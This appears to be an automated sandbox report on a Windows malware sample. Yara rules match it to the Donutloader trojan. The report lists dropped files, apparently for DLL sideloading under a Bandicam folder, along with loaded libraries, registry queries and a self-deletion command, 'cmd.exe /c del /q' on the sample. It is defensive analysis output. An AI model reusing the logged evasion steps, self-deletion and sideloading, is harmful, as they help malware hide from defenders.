Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000001.00000003.1844627099.0000000000921000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000001.00000003.1886586977.0000000000947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: C:\Program Files (x86)\Bandicam\4.bin, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\qd[1].bin, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_0565E9B8	1_3_0565E9B8
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_0565E990	1_3_0565E990
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_030740AB	1_3_030740AB
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_030744DB	1_3_030744DB
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03074F8F	1_3_03074F8F
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03072DF3	1_3_03072DF3
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03077787	1_3_03077787
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03073CCF	1_3_03073CCF
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_001B2229	1_2_001B2229
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_001AC449	1_2_001AC449
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_001B066C	1_2_001B066C
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_001ABC46	1_2_001ABC46
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0019FC94	1_2_0019FC94
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_001A1EE0	1_2_001A1EE0

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: String function: 0019A6A0 appears 52 times

Source: x32bridge[1].dll.1.dr	Static PE information: Resource name: EXE type: PE32+ executable (GUI) x86-64, for MS Windows
Source: x32bridge.dll.1.dr	Static PE information: Resource name: EXE type: PE32+ executable (GUI) x86-64, for MS Windows

Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.0000000003438000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000033E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1956164901.0000000007380000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1851289943.00000000072F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1956164901.00000000073A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1851242060.00000000072D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000000.1574478019.00000000001C9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHRConfig.exeT vs LisectAVT_2403002B_295.exe
Source: LisectAVT_2403002B_295.exe	Binary or memory string: OriginalFilenameHRConfig.exeT vs LisectAVT_2403002B_295.exe

Source: LisectAVT_2403002B_295.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000001.00000003.1844627099.0000000000921000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000001.00000003.1886586977.0000000000947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: C:\Program Files (x86)\Bandicam\4.bin, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\qd[1].bin, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal80.evad.winEXE@5/20@3/2

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

File created: C:\Program Files (x86)\Bandicam

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\QT[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5352:120:WilError_03
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_icoubrny.mln.ps1

Jump to behavior

Source: LisectAVT_2403002B_295.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe "C:\Users\user\Desktop\LisectAVT_2403002B_295.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: LisectAVT_2403002B_295.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: LisectAVT_2403002B_295.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: LisectAVT_2403002B_295.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: LisectAVT_2403002B_295.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: LisectAVT_2403002B_295.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: LisectAVT_2403002B_295.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: LisectAVT_2403002B_295.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: LisectAVT_2403002B_295.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: c:\x64_dbg\bin\x32\x32dbg_exe.pdb source: QT.exe.1.dr, QT[1].exe.1.dr
Source:	Binary string: C:\Users\Administrator\Documents\Project2\Project2\Release\Project2.pdb source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr
Source:	Binary string: msvcr120.i386.pdb source: msvcr120.dll.1.dr, msvcr120[1].dll.1.dr
Source:	Binary string: msvcp120.i386.pdb source: msvcp120[1].dll.1.dr, msvcp120.dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdbGCTL source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: wab.pdbGCTL source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdbGCTL source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: wab.pdb source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr

Source: LisectAVT_2403002B_295.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: LisectAVT_2403002B_295.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: LisectAVT_2403002B_295.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: LisectAVT_2403002B_295.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: LisectAVT_2403002B_295.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: msvcp140.dll.1.dr

Static PE information: 0x771734A7 [Mon Apr 25 02:38:31 2033 UTC]

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_0565A680 pushad ; ret	1_3_0565A693
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03072327 push cs; iretd	1_3_03072335
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_030702EB push esp; iretd	1_3_030702EC
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03070439 push esi; iretd	1_3_0307045E
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_3_03071EDE pushfd ; iretd	1_3_03071EE0
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0019A1C3 push ecx; ret	1_2_0019A1D6
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0319061D push ebx; retf	1_2_0319062A
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0319104D push esp; ret	1_2_03191071

Source: msvcr120[1].dll.1.dr	Static PE information: section name: .text entropy: 6.95576372950548
Source: msvcr120.dll.1.dr	Static PE information: section name: .text entropy: 6.95576372950548

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\x32bridge[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Program Files (x86)\Bandicam\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\QT[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcr120[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Program Files (x86)\Bandicam\x32bridge.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Program Files (x86)\Bandicam\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Program Files (x86)\Bandicam\msvcr120.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Program Files (x86)\Bandicam\QT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp120[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File created: C:\Program Files (x86)\Bandicam\msvcp120.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process created: "C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process created: "C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
